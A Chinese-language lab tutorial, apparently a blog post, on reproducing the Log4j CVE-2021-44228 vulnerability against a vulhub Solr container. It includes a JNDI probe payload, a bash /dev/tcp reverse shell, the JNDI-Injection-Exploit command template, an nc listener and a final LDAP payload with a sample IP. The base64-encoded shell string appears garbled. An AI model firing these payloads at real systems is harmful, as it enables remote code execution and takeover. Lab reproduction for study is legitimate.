Log4j CVE-2021-44228 漏洞复现详细教程

1.开启环境

我们需要用到vulhub如果没有的可以自行下载一下,然后执行下列命令即可开启,然后就可以访问啦

复制代码
systemctl start docker
cd /vulhub/log4j/CVE-2021-44228		//需使用绝对路径
docker-compose up -d		
docker ps //查看开启容器的端口

2.证明漏洞存在

在我们点击页面时,可以发现URL中有界面会出现/solr/admin/cores?action=的传参点,我们这验证一下是否存在漏洞,使用dnslog.cn网站生成域名在前面带上我们构造的存在JNDI的请求发过去。就可以得到回显,说明漏洞存在。

复制代码
/solr/admin/cores?action=${jndi:ldap://${sys:java.version}/*生成的域名复制到此处*/}

3.漏洞利用

下载一个JDNI方便生成我们的ldap。编写反弹shell编码,然后对其进行base64编码。根据自己前面的命令按照命令模版构造可执行命令。就可以得到下图内容。

复制代码
下载地址
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

反弹shell代码
bash -i >& /dev/tcp/自己ip/监听端口 0>&1

对反弹shell进行base64编码
YmFzaC89KKB+JiA9HJJNMDF65JHCUn1KLJAHIBBLzk5OTkgMD4mMQ==

命令模版
java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,[经过base64编码后的命令]}|{base64,-d}|bash" -A [你的vpsip]

我们再开一个新的终端界面开启端口监听,

复制代码
nc -lvvp 监听端口		//与上面的监听端口一至

然后将我们得到的jdk 1.8 的ldap复制下来带入到下列的命令

复制代码
/solr/admin/cores?action=${jndi:自己的ldap}

参考:
/solr/admin/cores?action=${jndi:ldap://101.42.118.221:1389/jyvecl}

将构造好的命令复制到原来的界面访问即可,回到端口监听的 终端页面就可以得到对方的shell。

相关推荐
SomeB1oody5 小时前
【RustyML入门】5.3. 聚类指标
开发语言·后端·机器学习·rust·教程
SomeB1oody1 天前
【RustyML入门】5.2. 分类指标
开发语言·后端·机器学习·rust·教程
NPE~1 天前
[图挖掘]GCN模型训练——从0到1
人工智能·ai·数据挖掘·教程·风控·图挖掘
SomeB1oody1 天前
【RustyML入门】5.1. 回归指标
开发语言·后端·机器学习·rust·教程
七牛开发者2 天前
为什么 Go 很适合 AI 辅助开发?
数据库·人工智能·python·elasticsearch·log4j
SomeB1oody2 天前
【RustyML入门】5.0. 模型评估
开发语言·后端·机器学习·rust·教程
SomeB1oody3 天前
【RustyML入门】4.2. 标准化与归一化
开发语言·后端·机器学习·rust·教程
IT机器猫3 天前
RabbitMQ基础二
java·spring boot·分布式·spring cloud·log4j·rabbitmq·springamqp
SomeB1oody5 天前
【RustyML入门】2.13. 孤立森林
开发语言·后端·机器学习·rust·教程
SomeB1oody5 天前
【RustyML入门】3.8. 正则化与归一化层
开发语言·后端·机器学习·rust·教程